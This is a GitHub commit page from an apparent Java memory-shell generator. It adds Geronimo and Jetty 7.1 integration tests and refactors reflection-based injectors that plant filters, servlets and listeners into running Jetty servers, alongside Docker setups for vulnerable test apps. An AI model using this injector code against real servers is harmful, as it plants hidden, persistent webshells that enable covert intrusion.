Skip to content

Commit f19a864

Browse files
committed
test: add Geronimo/Jetty 7.1 cases
1 parent 86fb8aa commit f19a864

14 files changed

Lines changed: 290 additions & 60 deletions

File tree

.github/workflows/memshell-integration-test.yml

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -52,6 +52,8 @@ jobs:
5252
depend_tasks: ":vul:vul-struts2:war"
5353
- middleware: "jenkins"
5454
depend_tasks: ""
55+
- middleware: "geronimo"
56+
depend_tasks: ":vul:vul-webapp:war"
5557
runs-on: ubuntu-22.04
5658
name: ${{ matrix.cases.middleware }}
5759
steps:

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

Lines changed: 14 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.*;
88
import java.util.HashSet;
9+
import java.util.Map;
910
import java.util.Set;
1011
import java.util.zip.GZIPInputStream;
1112

@@ -130,7 +131,16 @@ public void inject(Object context, Object filter) throws Exception {
130131
}
131132
newMappings[0] = filterMapping;
132133
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
133-
invokeMethod(servletHandler, "invalidateChainsCache");
134+
try {
135+
invokeMethod(servletHandler, "invalidateChainsCache");
136+
} catch (NoSuchMethodException e) {
137+
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
138+
if (_chainCache != null) {
139+
for (Map cache : _chainCache) {
140+
if (cache != null) cache.clear();
141+
}
142+
}
143+
}
134144
}
135145

136146
@Override
@@ -176,29 +186,14 @@ public Set<Object> getContext() throws Exception {
176186
try {
177187
Object target = getFieldValue(thread, "target");
178188
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
179-
java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
180-
java.util.Iterator _it3 = hostConfigs.values().iterator();
181-
while (_it3.hasNext()) {
182-
java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps");
189+
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
190+
for (Object o : hostConfigs.values()) {
191+
Map apps = (Map) getFieldValue(o, "webapps");
183192
contexts.addAll(apps.values());
184193
}
185194
}
186195
} catch (Throwable ignored) {
187196
}
188-
189-
// Geronimo-Jetty
190-
try {
191-
java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry");
192-
java.util.Iterator _it2 = map.keySet().iterator();
193-
while (_it2.hasNext()) {
194-
Object object = _it2.next();
195-
if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) {
196-
contexts.add(getFieldValue(object, "webAppContext"));
197-
}
198-
}
199-
} catch (Throwable ignored) {
200-
}
201-
202197
}
203198
return contexts;
204199
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -110,7 +110,8 @@ private Object getServer() throws Exception {
110110
if (entry != null) {
111111
Object threadLocalValue = getFieldValue(entry, "value");
112112
if (threadLocalValue != null) {
113-
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
113+
if (threadLocalValue.getClass().getName().contains("HttpConnection")
114+
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
114115
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
115116
}
116117
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

Lines changed: 4 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -8,10 +8,7 @@
88
import java.lang.reflect.Field;
99
import java.lang.reflect.InvocationTargetException;
1010
import java.lang.reflect.Method;
11-
import java.util.EventListener;
12-
import java.util.HashSet;
13-
import java.util.List;
14-
import java.util.Set;
11+
import java.util.*;
1512
import java.util.zip.GZIPInputStream;
1613

1714
/**
@@ -106,29 +103,14 @@ public Set<Object> getContext() throws Exception {
106103
try {
107104
Object target = getFieldValue(thread, "target");
108105
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
109-
java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
110-
java.util.Iterator _it3 = hostConfigs.values().iterator();
111-
while (_it3.hasNext()) {
112-
java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps");
106+
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
107+
for (Object o : hostConfigs.values()) {
108+
Map apps = (Map) getFieldValue(o, "webapps");
113109
contexts.addAll(apps.values());
114110
}
115111
}
116112
} catch (Throwable ignored) {
117113
}
118-
119-
// Geronimo-Jetty
120-
try {
121-
java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry");
122-
java.util.Iterator _it2 = map.keySet().iterator();
123-
while (_it2.hasNext()) {
124-
Object object = _it2.next();
125-
if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) {
126-
contexts.add(getFieldValue(object, "webAppContext"));
127-
}
128-
}
129-
} catch (Throwable ignored) {
130-
}
131-
132114
}
133115
return contexts;
134116
}

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

Lines changed: 4 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.*;
88
import java.util.HashSet;
9+
import java.util.Map;
910
import java.util.Set;
1011
import java.util.zip.GZIPInputStream;
1112

@@ -114,29 +115,15 @@ public Set<Object> getContext() throws Exception {
114115
try {
115116
Object target = getFieldValue(thread, "target");
116117
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
117-
java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
118-
java.util.Iterator _it3 = hostConfigs.values().iterator();
119-
while (_it3.hasNext()) {
120-
java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps");
118+
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
119+
for (Object o : hostConfigs.values()) {
120+
Map apps = (Map) getFieldValue(o, "webapps");
121121
contexts.addAll(apps.values());
122122
}
123123
}
124124
} catch (Throwable ignored) {
125125
}
126126

127-
// Geronimo-Jetty
128-
try {
129-
java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry");
130-
java.util.Iterator _it2 = map.keySet().iterator();
131-
while (_it2.hasNext()) {
132-
Object object = _it2.next();
133-
if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) {
134-
contexts.add(getFieldValue(object, "webAppContext"));
135-
}
136-
}
137-
} catch (Throwable ignored) {
138-
}
139-
140127
}
141128
return contexts;
142129
}

generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,10 @@ public JettyWriter() {
3333
continue;
3434
}
3535
Object value = getFieldValue(entry, "value");
36-
if (value != null && value.getClass().getName().endsWith("HttpConnection")) {
36+
if (value != null && (
37+
value.getClass().getName().endsWith("HttpConnection")
38+
|| value.getClass().getName().contains("SelectChannelConnector")
39+
)) {
3740
Object response;
3841
Object request;
3942
try {
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
services:
2+
target:
3+
image: reajason/geronimo:2.2.1-jetty7
4+
ports:
5+
- "8080:8080"
6+
- "5005:5005"
7+
environment:
8+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
9+
volumes:
10+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
services:
2+
target:
3+
image: reajason/geronimo:2.2.1-tomcat6
4+
ports:
5+
- "8080:8080"
6+
volumes:
7+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
jetty716:
3+
image: reajason/jetty:7.1.6-jdk6
4+
ports:
5+
- "8080:8080"
6+
- "5005:5005"
7+
environment:
8+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
9+
volumes:
10+
- ../../../asserts/agent/jattach-linux:/opt/jattach
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
package com.reajason.javaweb.integration.memshell.geronimo;
2+
3+
import com.reajason.javaweb.Server;
4+
import com.reajason.javaweb.integration.AbstractContainerTest;
5+
import com.reajason.javaweb.integration.ContainerTestConfig;
6+
import com.reajason.javaweb.integration.ContainerTool;
7+
import com.reajason.javaweb.memshell.ShellType;
8+
import com.reajason.javaweb.packer.Packers;
9+
import net.bytebuddy.jar.asm.Opcodes;
10+
import org.testcontainers.containers.GenericContainer;
11+
import org.testcontainers.containers.Network;
12+
import org.testcontainers.junit.jupiter.Container;
13+
import org.testcontainers.junit.jupiter.Testcontainers;
14+
15+
import java.util.List;
16+
17+
/**
18+
* @author ReaJason
19+
* @since 2024/12/7
20+
*/
21+
@Testcontainers
22+
public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest {
23+
private static final ContainerTestConfig CONFIG = ContainerTestConfig
24+
.builder()
25+
.server(Server.Jetty)
26+
.imageName("reajason/geronimo:2.2.1-jetty7")
27+
.warFile(ContainerTool.warFile)
28+
.warDeployPath("/opt/geronimo/deploy/app.war")
29+
.pidScript(ContainerTool.javaPid)
30+
.serverVersion("7+")
31+
.targetJdkVersion(Opcodes.V1_6)
32+
.supportedShellTypes(List.of(
33+
ShellType.SERVLET,
34+
ShellType.FILTER,
35+
ShellType.LISTENER,
36+
ShellType.HANDLER,
37+
ShellType.JETTY_AGENT_HANDLER
38+
))
39+
.testPackers(List.of(Packers.JSP))
40+
.probeShellTypes(List.of(
41+
ShellType.SERVLET,
42+
ShellType.FILTER,
43+
ShellType.LISTENER,
44+
ShellType.HANDLER
45+
))
46+
.build();
47+
48+
static Network network = newNetwork();
49+
@Container
50+
public static final GenericContainer<?> python = buildPythonContainer(network);
51+
52+
@Container
53+
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
54+
55+
@Override
56+
protected ContainerTestConfig getConfig() {
57+
return CONFIG;
58+
}
59+
}

0 commit comments

Comments
 (0)